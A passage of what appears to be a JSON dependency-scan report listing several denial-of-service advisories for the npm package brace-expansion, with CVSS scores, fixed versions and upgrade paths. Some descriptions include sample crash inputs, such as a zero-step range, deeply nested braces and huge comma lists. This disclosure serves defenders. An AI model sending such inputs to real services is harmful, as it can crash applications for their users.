"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"pacote@19.0.2",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
